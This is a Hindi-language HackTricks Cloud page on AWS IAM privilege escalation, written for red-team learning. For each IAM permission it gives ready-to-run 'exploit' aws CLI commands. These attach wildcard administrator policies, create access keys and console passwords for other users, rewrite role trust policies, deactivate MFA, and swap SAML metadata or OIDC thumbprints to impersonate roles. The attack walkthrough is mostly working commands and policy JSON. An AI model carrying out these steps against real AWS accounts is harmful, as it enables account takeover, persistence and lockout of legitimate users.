AWS - IAM Privesc
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
IAM
IAM के बारे में अधिक जानकारी के लिए देखें:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
एक नए IAM नीति संस्करण को बनाने की क्षमता प्रदान करता है, iam:SetDefaultPolicyVersion
अनुमति की आवश्यकता को बायपास करते हुए --set-as-default
ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है।
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
प्रभाव: किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है।
iam:SetDefaultPolicyVersion
IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो विशेषाधिकार बढ़ाने की संभावना है।
Bash कमांड:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
प्रभाव: अधिक अनुमतियों को सक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
iam:CreateAccessKey
किसी अन्य उपयोगकर्ता के लिए एक्सेस कुंजी आईडी और गुप्त एक्सेस कुंजी बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है।
शोषण:
aws iam create-access-key --user-name <target_user>
प्रभाव: किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।
iam:CreateLoginProfile
| iam:UpdateLoginProfile
लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है।
निर्माण के लिए शोषण:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
अपडेट के लिए शोषण:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
प्रभाव: "किसी भी" उपयोगकर्ता के रूप में लॉग इन करके सीधे विशेषाधिकार वृद्धि।
iam:UpdateAccessKey
एक अक्षम एक्सेस कुंजी को सक्षम करने की अनुमति देता है, यदि हमलावर के पास अक्षम कुंजी है तो यह अनधिकृत पहुंच की संभावना पैदा कर सकता है।
शोषण:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
प्रभाव: एक्सेस कीज़ को फिर से सक्रिय करके सीधे विशेषाधिकार वृद्धि।
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
विशिष्ट AWS सेवाओं (जैसे, CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल बनाने या रीसेट करने की अनुमति देता है, संबंधित उपयोगकर्ता के अनुमतियों को विरासत में लेते हुए।
निर्माण के लिए शोषण:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
रीसेट के लिए शोषण:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
प्रभाव: उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे विशेषाधिकार वृद्धि।
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
उपयोगकर्ताओं या समूहों को नीतियों को संलग्न करने की अनुमति देता है, संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे विशेषाधिकार बढ़ाता है।
उपयोगकर्ता के लिए शोषण:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
समूह के लिए शोषण:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
प्रभाव: नीति द्वारा प्रदान की गई किसी भी चीज़ पर सीधे विशेषाधिकार वृद्धि।
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे विशेषाधिकार वृद्धि संभव होती है।
भूमिका के लिए शोषण:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
इनलाइन नीतियों के लिए शोषण:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
आप एक नीति का उपयोग कर सकते हैं जैसे:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
प्रभाव: नीतियों के माध्यम से अनुमतियों को जोड़कर सीधे विशेषाधिकार वृद्धि।
iam:AddUserToGroup
IAM समूह में स्वयं को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है।
शोषण:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
प्रभाव: समूह की अनुमतियों के स्तर तक सीधे विशेषाधिकार वृद्धि।
iam:UpdateAssumeRolePolicy
एक भूमिका के असुमे भूमिका नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के अधिग्रहण को सक्षम बनाता है।
शोषण:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
जहाँ नीति निम्नलिखित की तरह दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
प्रभाव: किसी भी भूमिका की अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
कोडकमिट के लिए प्रमाणीकरण के लिए SSH सार्वजनिक कुंजी अपलोड करने और MFA उपकरणों को निष्क्रिय करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष विशेषाधिकार वृद्धि हो सकती है।
SSH कुंजी अपलोड के लिए शोषण:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
MFA निष्क्रियकरण के लिए शोषण:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
प्रभाव: कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को निष्क्रिय करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
iam:ResyncMFADevice
MFA डिवाइस के पुनर्संक्रमण की अनुमति देता है, जो संभावित रूप से MFA सुरक्षा में हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि की ओर ले जा सकता है।
बाश कमांड:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
प्रभाव: MFA उपकरणों को जोड़ने या हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
इन अनुमतियों के साथ आप SAML कनेक्शन के XML मेटाडेटा को बदल सकते हैं। फिर, आप SAML संघ का दुरुपयोग करके किसी भी भूमिका के साथ लॉगिन कर सकते हैं जो इसे विश्वास करती है।
ध्यान दें कि ऐसा करने पर वैध उपयोगकर्ता लॉगिन नहीं कर पाएंगे। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डाल सकते हैं, लॉगिन कर सकते हैं और पिछले को फिर से कॉन्फ़िगर कर सकते हैं।
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: एक उपकरण जो SAML मेटाडेटा उत्पन्न करने और निर्दिष्ट भूमिका के साथ लॉगिन करने में सक्षम हो
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये अनुमतियाँ हैं, तो वह सभी भूमिकाओं में लॉगिन करने के लिए प्रदाता पर भरोसा करने वाले नए थंबप्रिंट को जोड़ सकता है।
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।